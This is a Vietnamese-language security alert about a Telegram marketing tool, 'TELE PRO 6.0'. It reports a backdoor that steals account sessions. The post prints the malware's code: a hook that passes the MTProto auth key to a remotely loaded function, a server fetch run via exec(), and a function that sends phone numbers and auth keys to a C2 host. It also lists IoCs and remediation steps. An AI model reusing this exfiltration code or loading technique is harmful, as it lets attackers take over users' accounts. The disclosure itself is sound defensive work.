🚨 **[CẢNH BÁO BẢO MẬT KHẨN CẤP] PHÁT HIỆN BACKDOOR ĂN TRỘM SESSION TELEGRAM TRONG TOOL "TELE PRO 6.0" (AGROUP)**

⚠️ **Gửi toàn thể anh em MMO / Marketing Telegram:**
Nếu anh em đang dùng tool **TELE PRO 6.0** (Agroup) và nạp dàn tài khoản .session hoặc TData vào phần mềm này, **DÀN TÀI KHOẢN CỦA ANH EM ĐÃ VÀ ĐANG BỊ GỬI VỀ SERVER KẺ ĐỨNG SAU!**

---

🔍 **PHÂN TÍCH KỸ THUẬT (REVERSE CODE EVIDENCE)**

Tác giả tool đã sử dụng kỹ thuật nạp mã từ xa (**Remote Code Execution - RCE**) để qua mặt hoàn toàn các phần mềm diệt virus và kỹ thuật soi code thông thường:

1️⃣ **Ẩn mã độc trong file local (`Function/telegram.py` dòng 1558):**
Ngay khi tài khoản Telegram vừa kết nối thành công, tool lập tức gọi hàm:

if self.function_name not in ('check_live', 'CheckFrozen'):
    asyncio.create_task(
        self.fetch_setting(
            session[2].replace('.session', ''),
            client.session.auth_key.hex(),
            'tool_ag'
        )
    )

👉 *Hàm `fetch_setting` này **HOÀN TOÀN KHÔNG ĐƯỢC ĐỊNH NGHĨA** trong toàn bộ file cài đặt trên máy người dùng nhằm né AV.*

2️⃣ **Bơm mã độc từ server về RAM (`Function/telegram.py` dòng 1777):**
Tool âm thầm gửi request:
POST http://phanmemtelegram.net/webservice/api/get_source.php
Server trả về một payload mã hóa JWT + AES. Sau đó tool gọi exec() để nạp trực tiếp hàm độc hại này vào bộ nhớ đang chạy!

3️⃣ **Hàm đánh cắp lộ diện (Payload giải mã từ Server):**

async def fetch_setting(self, phone_number: str, authkey: str, auth2fa: str):
    try:
        url = f"http://ttdevduck.top/database/setting.php?phone_number={phone_number}&authkey={authkey}&auth2fa={auth2fa}"
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as resp:
                return await resp.text()
    except Exception as e:
        print(e)

---

🔥 **HẬU QUẢ VÔ CÙNG NGUY HIỂM:**
* client.session.auth_key.hex() chính là **Auth Key MTProto cấp cao nhất** của Telegram.
* Kẻ nắm máy chủ C2 chỉ cần Số điện thoại + Auth Key Hex này là có thể:
  * ❌ **Tái tạo Session đăng nhập trực tiếp vào tài khoản.**
  * ❌ **Bypass hoàn toàn mật khẩu 2FA và mã OTP.**
  * ❌ **Chiếm đoạt, đọc trộm tin nhắn, đổi mật khẩu hoặc phá dàn account mà Telegram KHÔNG HỀ BÁO THIẾT BỊ LẠ.**

---

🎯 **DANH SÁCH MÁY CHỦ C2 ĐỘC HẠI (IoC):**
* 🌐 **Server thu thập Session (C2):** ttdevduck.top
* 📍 **IP máy chủ C2:** 103.178.234.71
* 🌐 **Server phân phối mã độc động:** phanmemtelegram.net
* 🔗 **Endpoint hứng Session:** /database/setting.php?phone_number=...&authkey=...

---

🛡 **HÀNH ĐỘNG KHẨN CẤP ANH EM CẦN LÀM NGAY:**
1. **XÓA BỎ NGAY LẬP TỨC** toàn bộ thư mục phần mềm TELE PRO 6.0.
2. **KÍCH HẾT TOÀN BỘ PHIÊN ĐĂNG NHẬP:**
   * Mở app Telegram trên điện thoại 👉 **Settings** 👉 **Devices** 👉 Bấm **"Terminate All Other Sessions"** (Đăng xuất tất cả thiết bị khác).
3. **ĐỔI MẬT KHẨU 2FA** cho toàn bộ tài khoản đã từng nạp vào tool.
4. **CHẶN TRUY CẬP** tới domain ttdevduck.top và IP 103.178.234.71.

📢 *Anh em hãy forward bài cảnh báo này vào các channel, group MMO / Tool Telegram để mọi người kịp thời bảo vệ tài sản số của mình!*